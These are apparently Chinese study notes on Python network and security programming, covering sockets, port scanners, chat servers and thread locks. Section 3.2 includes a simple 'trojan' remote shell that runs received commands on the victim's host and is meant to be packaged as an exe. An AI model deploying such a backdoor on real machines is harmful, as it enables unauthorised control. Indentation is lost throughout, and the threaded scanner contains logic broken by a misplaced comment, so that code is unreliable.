一、EXP
EXP = Exploit = 漏洞利用程序
EXP 是一段能够主动触发目标系统 / 软件的安全漏洞,并直接达成攻击目的(获取权限、执行命令、控制主机)的可运行代码或脚本。
漏洞利用代码
作用:利用漏洞直接攻击成功,拿到权限 / 控制目标。
比喻:"我推门进去,控制房间"
二、POC
POC(Proof of Concept)
漏洞验证代码
作用:证明漏洞存在 ,但不破坏、不控制、不拿权限。
比喻:"我发现门没锁"
三、网络通信
3.1 循环通信
服务端
#服务端程序
import socket
def main():
#socket.AF_INET 使用ipv4通信,socket.SOCK_STREAM使用tcp通信
tcp_server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#绑定端口
tcp_server_socket.bind(('',8080))
#允许多数人连接我
tcp_server_socket.listen(128)
#循环为多个客户服务多次
while True:
#等待用户连接,保存用户的socket和ip地址
new_client_socket,client_address = tcp_server_socket.accept()
print("the %s connecting"%(str(client_address)))
#给客户发送信息
new_client_socket.send("welcome".encode("utf-8"))
#循环为一个客户服务
while True:
# 接收来自客户的数据
recv_data = new_client_socket.recv(1024)
if recv_data:
print(recv_data.decode("utf-8"))
else:
print("断开连接")
break
#关闭套接字
new_client_socket.close()
tcp_server_socket.close()
客户端:
#客户端程序
import socket
def main():
tcp_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_ip = '192.168.31.7'
server_port = 8080
server_add = (server_ip,server_port)
#连接服务器
tcp_socket.connect(server_add)
#接受第一次发来的数据
first_data = tcp_socket.recv(1024)
print(first_data.decode("utf-8"))
while True:
#持续发送数据
send_data = input("send---->")
tcp_socket.send(send_data.encode("utf-8"))
tcp_socket.close()
3.2 远程控制程序
木马
被害者 -- 服务端
黑客 -- 客户端
网络连接
操作系统命令控制(shell)
使用 pyinstaller 编译成exe程序
服务端(用户)
#木马服务端程序(用户)
import socket
import os
def main():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname()
port = 8080
s.bind((host,port))
s.listen()
while True:
c,addr = s.accept()
print("连接地址:",addr)
c.send("welcome".encode('utf-8'))
while True:
try:
recv_data = c.recv(1024).decode('utf-8')
if not recv_data:
print("客户端断开连接")
break
print(recv_data)
if recv_data == "cmd":
c.send("ok cmd start".encode('utf-8'))
while True: #循环接受发来的cmd命令
data = c.recv(1024) #接下来要输入的cmd命令
recv_data2 = data.decode('utf-8')
if recv_data2 == "exit":
c.send("ok cmd stop".encode('utf-8'))
break
else: #执行发送的cmd命令并且读取命令执行结果
x = os.popen(recv_data2).read()
#命令回显
c.send(x.encode('utf-8'))
else:
c.send(recv_data.encode('utf-8'))
except Exception as e:
print("断开连接")
print(e)
break
c.close()
s.close()
客户端(入侵者)
#木马客户端程序
import socket
import os
def main():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = '192.168.31.7' #受害者的ip地址
port = 8080
s.connect((host,port))
while True:
data_recv = s.recv(1024)
print(data_recv.decode('utf-8'))
msg = input("send msg:")
s.send(msg.encode('utf-8'))
s.close()
3.3 端口扫描器
3.3.1 支持命令
import sys
def main():
#sys.argv 是从python xxx.py [参数1] [参数2] ...
#xxx.py 就是sys.argv[0] sys.argv[1]就是参数1
#通常不把文件名作为参数
print(sys.argv) #输出所有的参数
print(sys.argv[4]) #输出第5个参数
3.3.2 支持命令的端口扫描器
import socket,sys
#ip和端口是否开放
def ip_port_opened(ip,port):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((ip,port))
return True
except:
return False
#扫描
def scan(ip,portlist):
for port in portlist:
if ip_port_opened(ip,port):
print("%s host %s port opened"%(ip,port))
else:
print("%s host %s port closed"%(ip,port))
def rescan(ip,start,end):
for port in range(start,end+1):
if ip_port_opened(ip,port):
print("%s host %s port opened"%(ip,port))
else:
print("%s host %s port closed"%(ip,port))
def main():
default = [21,22,23,25,53,80,110,443,1433,1521,3306,3389]
string = sys.argv[1] #获取第一个参数 python xxx.py [参数一] [参数二]
if len(sys.argv) == 2: #python xxx.py [参数一]
if string[0] == '-':
option = sys.argv[1][1:]
if option == 'version':
print("python版本号:3.10.0")
sys.exit()
elif option == 'help':
print("python xxx.py [ip] [port]")
sys.exit()
else:
scan(sys.argv[1],default)
sys.exit()
elif len(sys.argv) == 3:
#port以 逗号 隔开
if ',' in sys.argv[2]:
port = sys.argv[2].split(',')
portlist = []
for p in port:
portlist.append(int(p))
scan(sys.argv[1],portlist)
#port以 - 隔开
elif '-' in sys.argv[2]:
port = sys.argv[2].split('-')
start = int(port[0])
end = int(port[1])
rescan(sys.argv[1],start,end)
sys.exit()
if __name__ == '__main__':
main()
3.3.3 支持复杂命令的端口扫描器
optionparser
from optparse import OptionParser
def main():
usage = "usage: xxx.py -f <filename> -i <ip address>" #帮助文件
parser = OptionParser(usage = usage) #添加usage方法, xxx.py -h 就会出现以上的帮助
parser.add_option("-f","--file",type="string",dest="filename",help="your filename name here")
parser.add_option("-i","--ipaddress",type="string",dest="ipadd",help="your ip address here")
(options,args) = parser.parse_args() #获取选项和参数进行赋值
print(options.filename)
print(options.ipadd)
from optparse import OptionParser
import socket, sys
# ip和端口是否开放
def ip_port_opened(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
return True
except:
return False
# 扫描
def scan(ip, portlist):
for port in portlist:
if ip_port_opened(ip, port):
print("%s host %s port opened" % (ip, port))
else:
print("%s host %s port closed" % (ip, port))
# 广泛扫描
def rescan(ip, start, end):
for port in range(start, end + 1):
if ip_port_opened(ip, port):
print("%s host %s port opened" % (ip, port))
else:
print("%s host %s port closed" % (ip, port))
def main():
usage = "usage:xxx.py -i ip地址 -p 端口"
# 初始化命令行参数解析器
parse = OptionParser(usage=usage)
parse.add_option("-i","--ip",type="string",dest="ipaddress",help="your target ip here")
parse.add_option("-p","--port",type="string",dest='port',help="your target port here")
#凡是以上parse.add_option定义过的,后面参数自动放进options,其余放进args
(options,args) = parse.parse_args()
ip = options.ipaddress
port = options.port
default = [21,22,23,25,53,80,110,443,1433,1521,3306,3389]
if ',' in port: #xxx.py -i 127.0.0.1 -p 80,21,89
p = port.split(',')
portlist = []
for x in p:
portlist.append(int(x))
scan(ip,portlist)
elif '-' in port: #xxx.py -i 127.0.0.1 -p 80-89
p = port.split('-')
StartPort = int(p[0])
EndPort = int(p[1])
rescan(ip,StartPort,EndPort)
elif 'all' in port: #xxx.py -i 127.0.0.1 -p all
rescan(ip,1,65535)
elif 'default' in port: #xxx.py -i 127.0.0.1 -p default
scan(ip,default)
if __name__ == '__main__':
main()
3.3.4 多线程端口扫描器(效率最高)
from optparse import OptionParser
import socket, sys
from threading import Thread
# ip和端口是否开放
def ip_port_opened(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
return True
except:
return False
# 扫描
def scan(ip, port):
if ip_port_opened(ip, port):
print("%s host %s port opened" % (ip, port))
else:
print("%s host %s port closed" % (ip, port))
def main():
usage = "usage:xxx.py -i ip地址 -p 端口"
# 初始化命令行参数解析器
parse = OptionParser(usage=usage)
parse.add_option("-i", "--ip", type="string", dest="ipaddress", help="your target ip here")
parse.add_option("-p", "--port", type="string", dest='port', help="your target port here")
# 凡是以上parse.add_option定义过的,后面参数自动放进options,其余放进args
(options, args) = parse.parse_args()
ip = options.ipaddress
port = options.port
default = [21, 22, 23, 25, 53, 80, 110, 443, 1433, 1521, 3306, 3389]
if ',' in port: # xxx.py -i 127.0.0.1 -p 80,21,89
p = port.split(',')
portlist = []
for x in p:
portlist.append(int(x))
#scan(ip, portlist)
for i in default:
i = int(i)
s = Thread(target=scan, args=(ip, i,))
s.start()
elif '-' in port: # xxx.py -i 127.0.0.1 -p 80-89
p = port.split('-')
StartPort = int(p[0])
EndPort = int(p[1])
#rescan(ip, StartPort, EndPort)
for i in range(StartPort, EndPort+1):
s = Thread(target=scan, args=(ip, i,))
s.start()
elif 'all' in port: # xxx.py -i 127.0.0.1 -p all
#rescan(ip, 1, 65535) for i in range(65536):
i = int(i)
s = Thread(target=scan, args=(ip, i,))
s.start()
elif 'default' in port: # xxx.py -i 127.0.0.1 -p default
for i in default:
i = int(i)
s = Thread(target=scan, args=(ip, i,))
s.start()
if __name__ == '__main__':
main()
3.4 UDP
3.4.1 经典案例
服务端程序
# /usr/bin/python
# coding:UTF-8
import socket
#服务端程序
def main():
#初始化套接字,使用ipv4的udp通信
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(("",6000))# "" 默认为自己
while True:
data,addr = s.recvfrom(1024)
print("connect by:",addr)
print("recv data:",data.decode("utf-8"))
s.sendto(data,addr) #回显
s.close()
pass
if __name__ == '__main__':
main()
客户端程序
# /usr/bin/python
# coding:UTF-8
#服务端程序
import socket
def main():
c = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
while True:
text = input("------------>")
c.sendto(text.encode("utf-8"),("127.0.0.1",6000))
if text == "exit":
break
ans = c.recvfrom(1024)
#recvfrom 返回来的不是一个值,而是一个 "元组"
#(数据内容, (对方IP, 对方端口))
print(ans[0].decode("utf-8"))
c.close()
if __name__ == '__main__':
main()
3.4.2 UDP聊天室
不分客户端和服务端,双方都运行即可聊天
输入端口的适合,要注意,得转换为int类型
聊天室一边先 send 再recv
另一边要先recv 再send
PC1
def send_msg(udp_socket):
#获取发送内容
dest_ip = input("请输入对方的ip:")
dest_port = int(input("请输入对方的port:"))
send_data = input("请输入文本:")
udp_socket.sendto(send_data.encode("utf-8"),(dest_ip,dest_port))
def recv_msg(udp_socket):
recv_data = udp_socket.recvfrom(1024) #data,addr
print("%s 说了 %s"%(str(recv_data[1]),recv_data[0].decode("utf-8")))
def main():
#创建udp套接字
udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
#绑定信息
udp_socket.bind(("",8080))
while True:
send_msg(udp_socket)
recv_msg(udp_socket)
PC2
def send_msg(udp_socket):
#获取发送内容
dest_ip = input("请输入对方的ip:")
dest_port = int(input("请输入对方的port:"))
send_data = input("请输入文本:")
udp_socket.sendto(send_data.encode("utf-8"),(dest_ip,dest_port))
def recv_msg(udp_socket):
recv_data = udp_socket.recvfrom(1024) #data,addr
print("%s 说了 %s"%(str(recv_data[1]),recv_data[0].decode("utf-8")))
def main():
#创建udp套接字
udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
#绑定信息
udp_socket.bind(("",8080))
while True:
send_msg(udp_socket)
recv_msg(udp_socket)
3.5 简易迅雷
服务端程序
#服务端程序
import socket
def send_file_2_client(new_client_socket,client_address):
#客户端要下载的文件名
file_name = new_client_socket.recv(1024).decode("utf-8")
print("客户端 %s 要下载 %s"%(str(client_address),file_name))
#按照客户端的要求读取文件
file_content = None
try:
f = open(file_name,"rb") #以二进制来读取
file_content = f.read()
f.close()
except:
print("没有要下载的文件 %s" % (file_name))
#读取出来就发给客户
if file_content:
new_client_socket.send(file_content)
def main():
tcp_server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcp_server_socket.bind(('',7878))
tcp_server_socket.listen(100)
while True:
new_client_socket,client_address = tcp_server_socket.accept()
#调用发送文件的函数
send_file_2_client(new_client_socket, client_address)
new_client_socket.close()
tcp_server_socket.close()
客户端程序
#客户端程序
import socket
def main():
tcp_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
dest_ip = input("从哪个服务器下载:")
dest_port = int(input("请输入下载的port:"))
tcp_socket.connect((dest_ip,dest_port))
down_file_name = input("请输入要下载的文件名:")
#把文件名发给服务器
tcp_socket.send(down_file_name.encode("utf-8"))
#接收下载文件,1M
recv_data = tcp_socket.recv(1024*1024)
#保存数据文件
with open("new_"+down_file_name,"wb") as f:
f.write(recv_data)
tcp_socket.close()
3.6 简易进程池聊天程序
默认pool进程数是cpu的核心数量( os.cpu_count() )
如果cpu=4
开启6个客户端连接,发现2个客户在等待
服务端
from http import server
# /usr/bin/python
# coding:UTF-8
from socket import *
from multiprocessing import Pool
import time,os
server = socket(AF_INET,SOCK_STREAM)
server.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
server.bind(('127.0.0.1',8080))
server.listen(5)
def talk(conn,address):
print("进程%s 用户%s"%(os.getpid(),address))
while True:
try:
msg = conn.recv(1024)
if not msg:break
conn.send(msg.upper())
except Exception:
break
def main():
p = Pool(4)
while True:
conn,address = server.accept()
p.apply_async(talk,args=(conn,address))
if __name__ == '__main__':
main()
客户端
# /usr/bin/python
# coding:UTF-8
#客户端程序
import socket
from socket import *
client = socket(AF_INET,SOCK_STREAM)
client.connect(("127.0.0.1",8080))
def main():
while True:
#字符串内置方法,删除字符串开头和结尾的空格、换行、制表符等空白字符
msg = input(">>:").strip()
if not msg:continue
client.send(msg.encode("utf-8"))
msg = client.recv(1024)
print(msg.decode("utf-8"))
if __name__ == '__main__':
main()
3.7 协程实现网络通信
服务端
# /usr/bin/python
# coding:UTF-8
#补丁先打(socket模块之前),不然gevent无法识别socket阻塞
from gevent import monkey; monkey.patch_all()
from socket import *
import gevent
def server(ip,port):
s = socket(AF_INET,SOCK_STREAM)
s.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
s.bind((ip,port))
s.listen(5)
while True:
conn,addr = s.accept()
gevent.spawn(talk,conn,addr) #使用协程
def talk(conn,addr):
try:
while True:
res = conn.recv(1024)
print("client %s: %s msg:%s"%(addr[0],addr[1],res.decode("utf-8")))
conn.send(res.upper())
except Exception as e:
print(e)
finally:
conn.close()
def main():
server("127.0.0.1",8080)
if __name__ == '__main__':
main()
客户端:
# /usr/bin/python
# coding:UTF-8
#客户端程序
from socket import *
def main():
c = socket(AF_INET, SOCK_STREAM)
c.connect(("127.0.0.1", 8080))
while True:
msg = input(">>:").strip()
if not msg: continue #空输入,跳过,回到循环开头
c.send(msg.encode("utf-8"))
msg = c.recv(1024)
print(msg.decode("utf-8"))
if __name__ == '__main__':
main()
四、迭代锁(递归锁)
创造原因:
两个以上的进程可能因为抢夺资源造成互相等待(死锁进程)
RLock 内部 维护了一个Lock和一个count变量(记录acquire次数)
因为记录了次数,所以才可以让程序被多次acquire、多次加锁,直到一个线程所有acquire都被release,其他线程才能获得资源
而不同Lock是没有count变量的
直观的讲:普通lock只关注有没有被加锁
而Rlock不仅关注有没有加锁,还关注是哪个线程在加锁
1. 死锁进程
import time,os
from threading import Thread
from threading import Lock as Lock #名字替换,此时就为迭代锁
def main():
lock = Lock()
lock.acquire()
lock.acquire()
print(123) #上面已经拿过一次key了,这边就拿不到了
lock.release()
lock.release()
2.迭代锁进程
from threading import RLock as Lock #名字替换,此时就为迭代锁
def main():
lock = Lock()
lock.acquire()
lock.acquire()
print(123) #上面已经拿过一次key了,这边就拿不到了
lock.release()
lock.release()
因为 RLock 做了一件关键事情:
它不让同一个线程 "等自己"
普通 Lock 的逻辑是:
> 只要锁被占用,不管谁来,都要等
所以同一个线程第二次拿锁时:
自己等自己 → 直接卡死
RLock 的逻辑是:
> 如果是持有锁的线程自己再来拿
>
> 不等!直接计数 + 1,放行
这就从根源上杜绝了:
1. 自己把自己锁死
2. 同一线程内多把锁(其实是同一把)互相等待
import time,os
from threading import Thread
from threading import RLock as Lock #名字替换,此时就为迭代锁
noodle_lock = fork_lock = Lock() #迭代锁,共用一把锁
def eat_1(name):
noodle_lock.acquire()
print("%s 抢到了面条"%(name))
fork_lock.acquire()
print("%s 抢到了叉子"%(name))
print("%s 吃面"%(name))
fork_lock.release()
noodle_lock.release()
def eat_2(name):
fork_lock.acquire()
print("%s 抢到了叉子"%(name))
time.sleep(1)
noodle_lock.acquire()
print("%s 抢到了面条"%(name))
print("%s 吃面"%(name))
noodle_lock.release()
fork_lock.release()
def main():
for name in ['顾客1','顾客2','顾客3']:
T1 = Thread(target=eat_1,args=(name,))
T2 = Thread(target=eat_2,args=(name,))
T1.start()
T2.start()
if __name__ == '__main__':
main()